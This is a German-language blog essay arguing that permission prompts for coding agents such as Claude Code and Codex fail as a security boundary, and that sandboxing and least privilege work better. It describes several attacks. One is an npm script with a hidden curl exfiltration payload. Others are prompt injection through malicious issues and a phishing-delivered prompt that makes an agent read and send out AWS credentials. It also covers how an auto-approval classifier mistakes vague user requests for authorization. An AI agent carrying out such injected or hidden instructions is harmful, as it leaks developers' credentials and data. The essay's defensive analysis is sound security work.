Der Mensch ist keine Firewall: Warum Permission Prompts bei Coding-Agenten nicht skalieren

Wer Claude Code, Codex oder einen anderen Coding-Agenten länger als ein paar Minuten benutzt, kennt den Ablauf:

Claude wants to run:
npm run build

Do you want to proceed?

Natürlich will ich. Ich habe den Agenten gerade gebeten, die Anwendung zu bauen.

Also bestätigen.

Zwei Minuten später:

rm -rf dist/

Auch plausibel. Bestätigen.

Dann npm install, git status, ./gradlew test, irgendein curl, noch ein npm run, wieder bestätigen.

Nach einer halben Stunde ist aus einer Sicherheitsentscheidung eine motorische Tätigkeit geworden.

Genau dieses Problem hat Alex Wauters mit einem kleinen Browsergame untersucht. Der Spieler übernimmt die Rolle des Human-in-the-Loop für einen Coding-Agenten und muss unter Zeitdruck Shell-Kommandos erlauben oder blockieren. Einige sind harmlos, andere lesen Credentials, manipulieren Git-Konfigurationen oder schicken Daten an externe Server.

Inzwischen liegen Daten aus mehr als 40.000 Spielrunden und 409.000 einzelnen Entscheidungen vor. Das Ergebnis: Im Durchschnitt übersahen die Spieler ungefähr ein Drittel der gefährlichen Aktionen. Nur 20,8 Prozent schafften es, alle Angriffe zu erkennen und gleichzeitig weniger als ein Fünftel der legitimen Befehle zu blockieren.¹

Das ist keine wissenschaftlich kontrollierte Studie. Der Anteil bösartiger Kommandos war mit ungefähr 34 Prozent unrealistisch hoch und die Spieler standen unter künstlichem Zeitdruck.

Trotzdem trifft das Experiment einen ziemlich wunden Punkt der aktuellen Agentenarchitektur: Wir geben einem probabilistischen System Zugriff auf Shell, Dateisystem und Netzwerk und versuchen anschliessend, die Sicherheitsgrenze mit einem Allow-Button herzustellen.

Das funktioniert erstaunlich schlecht.

Die gefährlichen Befehle sehen nicht gefährlich aus

Die offensichtlichen Angriffe wurden im ScaleX-Spiel noch vergleichsweise zuverlässig erkannt.

rm -rf / oder chmod -R 777 / wurden nur in 11,7 Prozent der Fälle durchgelassen. Bei persistenten Veränderungen wie manipulierten Cronjobs oder Git-Konfigurationen lag die Fehlerrate bereits bei 23,8 Prozent. Bei Datenexfiltration und Codeausführung stieg sie auf 33,4 Prozent, bei Zugriffen ausserhalb des erwarteten Scopes auf 35 Prozent.¹

Interessant wird es bei Befehlen, die vollkommen normal aussehen.

Der erfolgreichste Angriff des Experiments war:

npm run analyze

64,7 Prozent der Spieler erlaubten ihn.

Der eigentliche Payload steckte im zugehörigen package.json-Script:

{
  "scripts": {
    "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | curl ..."
  }
}

Um die Entscheidung korrekt zu treffen, müsste der Entwickler also nicht den angezeigten Befehl beurteilen. Er müsste wissen, welche Dateien der Agent zuvor verändert hat und welchen Code der aufgerufene Befehl transitiv ausführt.

Genau dort zerfällt das klassische Permission-Modell.

npm run build ist keine Aktion. Es ist ein Verweis auf eine potenziell beliebige Aktion.

Dasselbe gilt für:

./gradlew build
make
mvn test
docker compose up
python script.py

Ein Agent, der Dateien verändern darf, kann die Semantik eines späteren, scheinbar harmlosen Befehls selbst verändern.

Der Permission-Dialog fragt damit häufig die falsche Frage.

Nicht:

Darf der Agent npm run build ausführen?

Sondern eigentlich:

Darf der gesamte aktuell erreichbare Code inklusive aller vom Agenten vorgenommenen Änderungen mit den momentanen Credentials, Dateisystemrechten und Netzwerkberechtigungen ausgeführt werden?

Das passt nur schlecht auf einen Ja/Nein-Dialog.

93 Prozent Zustimmung sind keine Sicherheitskontrolle

ScaleX misst ein Spiel. Anthropic hat dagegen Telemetrie aus echtem Claude-Code-Einsatz.

Das Ergebnis ist kaum beruhigender: Benutzer bestätigen ungefähr 93 Prozent aller Permission Prompts. Anthropic beschreibt selbst, dass die Aufmerksamkeit mit zunehmender Anzahl der Abfragen sinkt.²

93 Prozent bedeuten nicht, dass 93 Prozent der Aktionen sicher sind.

Es bedeutet vor allem, dass ein Dialog, dessen normale Antwort fast immer Ja lautet, irgendwann kaum noch eine Sicherheitsentscheidung darstellt.

Das Problem ist in der Security-Forschung nicht neu. Untersuchungen zu Browser- und Betriebssystemwarnungen zeigen seit Jahren einen Gewöhnungseffekt. Wiederkehrende Dialoge reduzieren Aufmerksamkeit, und diese Gewöhnung kann sich sogar auf neue, tatsächlich wichtige Sicherheitswarnungen übertragen.³

Coding-Agenten verschärfen das Problem.

Ein Browser fragt vielleicht einige Male pro Woche nach einer ungewöhnlichen Berechtigung. Ein autonom arbeitender Coding-Agent kann innerhalb einer Stunde Dutzende Shell-Kommandos erzeugen.

Die Sicherheitsarchitektur erzeugt damit selbst den Zustand, in dem ihre eigene Schutzwirkung abnimmt.

Das Problem ist nicht nur Prompt Injection

Bei Agentensicherheit landet die Diskussion schnell bei Prompt Injection. Das ist verständlich, greift aber zu kurz.

Ein Agent muss nicht kompromittiert worden sein, um etwas Gefährliches zu tun.

Anthropic beschreibt aus internen Claude-Code-Vorfällen unter anderem gelöschte Remote-Branches, ein auf ein internes Compute-System hochgeladenes GitHub-Token und den Versuch, Migrationen gegen eine Produktionsdatenbank auszuführen. Ursache war nicht jeweils ein Angreifer, sondern ein Agent, der ein legitimes Ziel zu aggressiv verfolgt hat.²

Eine aktuelle Untersuchung nennt dieses Verhalten Overeager Actions.

Die Autoren von OverEager-Bench testeten Claude Code, OpenHands, Codex CLI und Gemini CLI mit grundsätzlich harmlosen Aufgaben. Je nach Agenten-Framework traten Aktionen ausserhalb des eigentlich autorisierten Scopes unterschiedlich häufig auf. Bei den permissiveren Frameworks lagen die gemessenen Raten zwischen 5,4 und 27,7 Prozent. Ein Framework, das häufiger explizit nachfragt, lag zwischen 0,2 und 4,5 Prozent.⁴

Besonders interessant ist ein zweiter Befund: Wenn die erlaubten Grenzen im Prompt ausdrücklich beschrieben wurden, sank die Overeagerness stark.

Das klingt zunächst gut, offenbart aber das eigentliche Problem.

In realen Aufgaben schreibt niemand:

Implementiere das Feature.

Du darfst:
- src/ ändern
- Tests ausführen

Du darfst nicht:
- andere Dateien löschen
- Git-Historie verändern
- Credentials lesen
- externe Systeme aufrufen
- Infrastruktur verändern

Wir Menschen ergänzen diese Grenzen implizit.

Ein Agent muss sie inferieren.

Und genau diese Inferenz ist probabilistisch.

Dann lassen wir eben ein zweites Modell entscheiden

Anthropic hat auf Permission Fatigue unter anderem mit Claude Codes Auto Mode reagiert.

Statt jeden Tool Call dem Benutzer vorzulegen, beurteilt ein zusätzlicher Klassifikator, ob eine Aktion zur Anweisung des Benutzers passt. Harmlos eingestufte Aktionen laufen automatisch, verdächtige werden blockiert.

Das reduziert die Reibung erheblich.

Aber auch dieses System ist keine harte Sicherheitsgrenze.

Anthropic veröffentlicht dafür erfreulich konkrete Zahlen. Bei 52 echten internen Fällen von Overeagerness liess die vollständige Auto-Mode-Pipeline 17 Prozent der gefährlichen Aktionen durch. Bei 1.000 synthetischen Exfiltrationsversuchen lag die False-Negative-Rate bei 5,7 Prozent.⁵

Interessant ist auch, woran der Klassifikator scheitert.

Häufig erkennt er durchaus, dass ein force push, eine Löschung oder eine Infrastrukturänderung gefährlich ist. Er interpretiert aber frühere Aussagen des Benutzers als ausreichende Zustimmung.

Aus:

Clean up the PR

wird dann beispielsweise eine vermeintliche Autorisierung für einen Force Push.

Anthropic weist deshalb selbst darauf hin, dass Auto Mode kein Ersatz für sorgfältige Kontrolle bei kritischer Infrastruktur ist.⁵

Damit verschiebt sich das Problem nur eine Ebene nach unten.

Vorher fragte ein probabilistischer Agent einen Menschen.

Jetzt fragt ein probabilistischer Agent einen zweiten probabilistischen Agenten.

Das kann die Fehlerrate erheblich senken. Eine Security Boundary entsteht dadurch trotzdem nicht.

Prompt Injection macht aus dem Problem einen Angriffsvektor

Bisher ging es nur um versehentliche Scope-Überschreitungen.

Mit Prompt Injection kommt ein Angreifer hinzu.

IssueTrojanBench, veröffentlicht im Juli 2026, untersucht genau diesen Fall bei Cursor, Claude Code und Codex Desktop. Die Angriffe werden unter anderem über Issues, Kommentare und Dokumente in den Kontext des Agenten eingeschleust.

66,5 Prozent der getesteten bösartigen Issues überwanden sowohl die Schutzmechanismen der Agenten als auch diejenigen der verwendeten Modelle.⁶

Damit wird aus einer falschen Agentenentscheidung ein klassisches Confused-Deputy-Problem.

Der Agent besitzt Berechtigungen des Entwicklers:

Agent
  │
  ├── Source Code
  ├── Git Credentials
  ├── Package Registry
  ├── Cloud Credentials
  ├── Kubernetes
  ├── Netzwerk
  └── vielleicht Produktion

Der Angreifer besitzt diese Rechte nicht.

Er muss deshalb nicht das Betriebssystem kompromittieren.

Es reicht, den Agenten dazu zu bringen, seine vorhandenen Berechtigungen falsch einzusetzen.

Die entscheidende Frage lautet deshalb nicht mehr nur:

Kann das Modell Prompt Injection erkennen?

Sondern:

Was kann schlimmstenfalls passieren, wenn es sie nicht erkennt?

Selbst Anthropic hat das intern demonstriert

Ein ziemlich lehrreiches Beispiel stammt aus Anthropics eigener Red-Team-Arbeit.

Im Februar 2026 erhielt ein Mitarbeiter im Rahmen eines kontrollierten Phishing-Tests eine scheinbar normale Aufforderung, einen vorbereiteten Prompt in Claude Code einzufügen. Darin befand sich unter anderem die Anweisung, ~/.aws/credentials zu lesen, die Daten zu kodieren und an einen externen Endpoint zu senden.

Claude führte die Exfiltration in 24 von 25 Versuchen durch.⁷

Das Interessante daran ist nicht die Erfolgsquote.

Der Angriff umging die übliche Vorstellung von Prompt Injection vollständig.

Aus Sicht des Modells kam die Anweisung vom Benutzer selbst. Ein Prompt-Injection-Klassifikator hat deshalb kaum eine Möglichkeit zu erkennen, dass der Text ursprünglich aus einer Phishing-Mail stammt.

Anthropics Schlussfolgerung ist entsprechend nüchtern: Die zuverlässige Schutzschicht ist in diesem Szenario die Umgebung.

Wenn ~/.aws/credentials innerhalb der Sandbox nicht existiert und unbekannte externe Ziele über Egress Controls nicht erreichbar sind, spielt es keine Rolle mehr, ob das Modell den Angriff erkennt.

Der Agent kann die Aktion technisch nicht durchführen.⁷

Das ist ein fundamentaler Unterschied.

Security sollte Fähigkeiten begrenzen, nicht Absichten erraten

Die klassische Permission-Architektur versucht Absicht zu beurteilen:

Agent möchte X tun.
Ist X vermutlich in Ordnung?

Eine robustere Architektur begrenzt stattdessen Fähigkeiten:

Agent kann X grundsätzlich nicht tun.

Das ist nichts Neues. Es ist schlicht Least Privilege.

NIST definiert das Prinzip seit Jahren entsprechend: Ein Benutzer oder Prozess soll nur die minimalen Ressourcen und Berechtigungen erhalten, die er zur Erfüllung seiner Aufgabe benötigt.⁸

Für Coding-Agenten wird dieses alte Prinzip plötzlich sehr konkret.

Ein Agent, der ein Frontend refaktoriert, braucht normalerweise keinen Zugriff auf:

~/.aws
~/.ssh
~/.kube
Produktionsdatenbanken
Cloud-Control-Planes
private Dokumente
beliebige externe Hosts

Wenn diese Ressourcen vorhanden sind, wird jede Prompt-Injection-Abwehr zur letzten Schutzschicht.

Wenn sie nicht vorhanden sind, wird ein grosser Teil der möglichen Angriffe irrelevant.

Sandbox statt Dauerbestätigung

Entsprechend bewegen sich die grossen Anbieter inzwischen in dieselbe Richtung.

Claude Code verwendet unter macOS Seatbelt und unter Linux Bubblewrap, um Dateisystem und Netzwerk technisch einzuschränken. Anthropic berichtet, dass diese Sandbox die Anzahl der Permission Prompts um 84 Prozent reduziert hat.⁷

Codex trennt ebenfalls Sandbox und Approval Policy voneinander. Die Sandbox legt fest, wo geschrieben werden darf, ob Netzwerkzugriff vorhanden ist und welche Pfade geschützt sind. Erst wenn der Agent diese technische Grenze überschreiten möchte, wird eine zusätzliche Freigabe relevant.⁹

OpenAI betreibt Codex intern zudem nicht mit beliebigem ausgehendem Netzwerkzugriff. Erwartete Ziele werden erlaubt, unbekannte Ziele blockiert oder benötigen zusätzliche Freigaben. Agentenaktivitäten wie Tool Calls, Permission Decisions, MCP-Nutzung und Netzwerkentscheidungen können über OpenTelemetry protokolliert werden.⁹

Das ist die deutlich sinnvollere Reihenfolge:

1. Technische Grenze
2. Least Privilege
3. Netzwerk-Policy
4. Credentials mit minimalem Scope
5. Agenten- und Modell-Guardrails
6. Menschliche Freigabe für echte Ausnahmen

Nicht:

1. Agent darf fast alles
2. Benutzer klickt hoffentlich richtig

Der Human-in-the-Loop verschwindet trotzdem nicht

Daraus folgt nicht, dass Menschen aus dem Sicherheitsmodell entfernt werden sollten.

Eine Analyse von 59 wissenschaftlichen Arbeiten, 21 produktiven Agentensystemen und 26 Security-Plugins zeigt sogar das Gegenteil: Runtime Approvals gehören zu den verbreitetsten Schutzmechanismen überhaupt. 15 der 21 untersuchten produktiven Systeme setzen sie ein.¹⁰

Eine weitere aktuelle Arbeit analysiert 21 vorgeschlagene Permission-Systeme sowie fünf kommerzielle Agenten und kommt ebenfalls zu dem Schluss, dass die Übersetzung menschlicher Absicht in durchsetzbare Agentenrechte weiterhin ein ungelöstes Problem ist.¹¹

Der Mensch bleibt wichtig.

Seine Rolle sollte sich aber ändern.

Ein Entwickler eignet sich gut für Entscheidungen wie:

Der Agent möchte jetzt das vorbereitete Release in Produktion deployen.
Fortfahren?

Das ist eine fachliche Entscheidung mit erkennbarem Kontext und hohem Impact.

Er eignet sich deutlich schlechter für:

Allow Bash(npm run build)?

zum 37. Mal an diesem Nachmittag.

Die erste Abfrage transportiert Bedeutung.

Die zweite erzeugt hauptsächlich Noise.

Gute Permission-Systeme brauchen semantische Grenzen

Langfristig reicht deshalb vermutlich auch die Klassifizierung einzelner Shell-Kommandos nicht aus.

Agenten brauchen Berechtigungen, die näher an der eigentlichen Aufgabe liegen.

Zum Beispiel:

task:
  repository: customer-portal

filesystem:
  read:
    - repository
  write:
    - repository

network:
  allow:
    - registry.npmjs.org
    - api.github.com

git:
  push: feature-branch-only
  force_push: false

credentials:
  github:
    permissions:
      contents: write
      pull_requests: write

production:
  access: false

Ob darunter npm, curl, git oder ein selbstgeschriebenes Python-Script verwendet wird, ist dann sekundär.

Die Policy beschreibt den erlaubten Effekt.

Das ist wesentlich näher an klassischen Capability-Systemen als an einem Terminaldialog.

Und genau dort sollte Agentensicherheit meiner Meinung nach hin.

Ein Agent sollte kompromittierbar sein

Das klingt zunächst falsch, ist aber ein nützlicher Designgrundsatz.

Nicht:

Wie verhindere ich mit absoluter Sicherheit, dass mein Agent jemals kompromittiert wird?

Sondern:

Was passiert, wenn mein Agent kompromittiert wird?

LLMs bleiben probabilistische Systeme. Prompt-Injection-Filter bleiben probabilistisch. Auto-Approval-Modelle bleiben probabilistisch. Selbst sehr gute Schutzsysteme produzieren False Negatives.

Eine Architektur, die vollständige Korrektheit einer dieser Komponenten voraussetzt, hat deshalb bereits verloren.

Ein kompromittierter Coding-Agent innerhalb eines sauber isolierten Devcontainers kann vielleicht Quellcode zerstören. Git stellt ihn wieder her.

Ein kompromittierter Agent mit AWS-Admin-Credentials und freiem Netzwerkzugriff ist ein ganz anderes System.

Die interessante Sicherheitsmetrik ist damit nicht nur die Wahrscheinlichkeit eines Fehlers.

Es ist:

Risk = Probability × Blast Radius

Die Modellforschung arbeitet hauptsächlich an der ersten Variable.

AI Engineering hat vollständige Kontrolle über die zweite.

Permissions sollten die Ausnahme werden

Das ScaleX-Experiment beweist nicht, dass Entwickler exakt 33 Prozent realer Angriffe übersehen würden. Dafür ist der Aufbau viel zu künstlich.

Es zeigt aber sehr schön, warum die heutige Interaktion nicht skaliert.

Gefährliche Aktionen sehen häufig banal aus. Die relevante Semantik liegt in vorherigen Dateiänderungen, Abhängigkeiten, Credentials und Umgebungszuständen. Gleichzeitig stumpft der Benutzer durch eine grosse Anzahl legitimer Abfragen ab.

ScaleX misst dabei einen Effekt, den Anthropic in realer Telemetrie ebenfalls beobachtet. Aktuelle Forschung zeigt zusätzlich, dass Agenten auch ohne Angreifer Scope-Grenzen überschreiten und dass Prompt Injection vorhandene Guardrails weiterhin erstaunlich häufig durchdringen kann.

Der Allow-Button ist deshalb nicht nutzlos.

Er sitzt nur an der falschen Stelle in der Sicherheitsarchitektur.

Die Zukunft autonomer Coding-Agenten besteht nicht darin, dem Entwickler noch bessere Dialoge zu zeigen. Sie besteht darin, Agenten in einer Umgebung laufen zu lassen, in der die meisten gefährlichen Aktionen technisch unmöglich sind.

Sandboxing, Egress Filtering, kurzlebige Credentials, minimale Scopes und getrennte Produktionszugänge sind dabei keine zusätzlichen Enterprise-Features.

Sie sind die eigentliche Permission-Schicht.

Wenn danach noch ein Dialog erscheint, sollte er eine echte Ausnahme betreffen.

Dann lohnt es sich vielleicht sogar wieder, ihn zu lesen.

Quellen

Footnotes#

1. Alex Wauters, Scale X: Humans missed 1 in 3 threats approving AI agent commands across 40,000 plays, 5. August 2026. ↩ ↩²

2. Anthropic: How we built Claude Code auto mode: a safer way to skip permissions, 25. März 2026. ↩ ↩²

3. Anthony Vance et al.: The Fog of Warnings: How Non-essential Notifications Blur with Security Warnings, SOUPS 2019. ↩

4. Yubin Qu et al.: Overeager Coding Agents: Measuring Out-of-Scope Actions on Benign Tasks, arXiv, Mai 2026. ↩

5. Anthropic: How we built Claude Code auto mode: a safer way to skip permissions, insbesondere die Evaluation des zweistufigen Approval-Klassifikators. ↩ ↩²

6. Ankur Singh, Jinqiu Yang und Tse-Hsun Chen: IssueTrojanBench: Benchmarking AI Coding Agents Against Malicious Issue Requests, arXiv, Juli 2026. ↩

7. Anthropic: How we contain Claude across products, 2026. ↩ ↩² ↩³

8. NIST: Least Privilege, Computer Security Resource Center. ↩

9. OpenAI: Running Codex safely at OpenAI, Mai 2026. ↩ ↩²

10. Peiran Wang, Ying Li und Yuan Tian: Reframing LLM Agent Security as an Agent-Human Interaction Problem, arXiv, Mai 2026. ↩

11. Alexandra E. Michael und Franziska Roesner: How Agents Ask for Permission: User Permissions for AI Agents, from Interfaces to Enforcement, arXiv, Juli 2026. ↩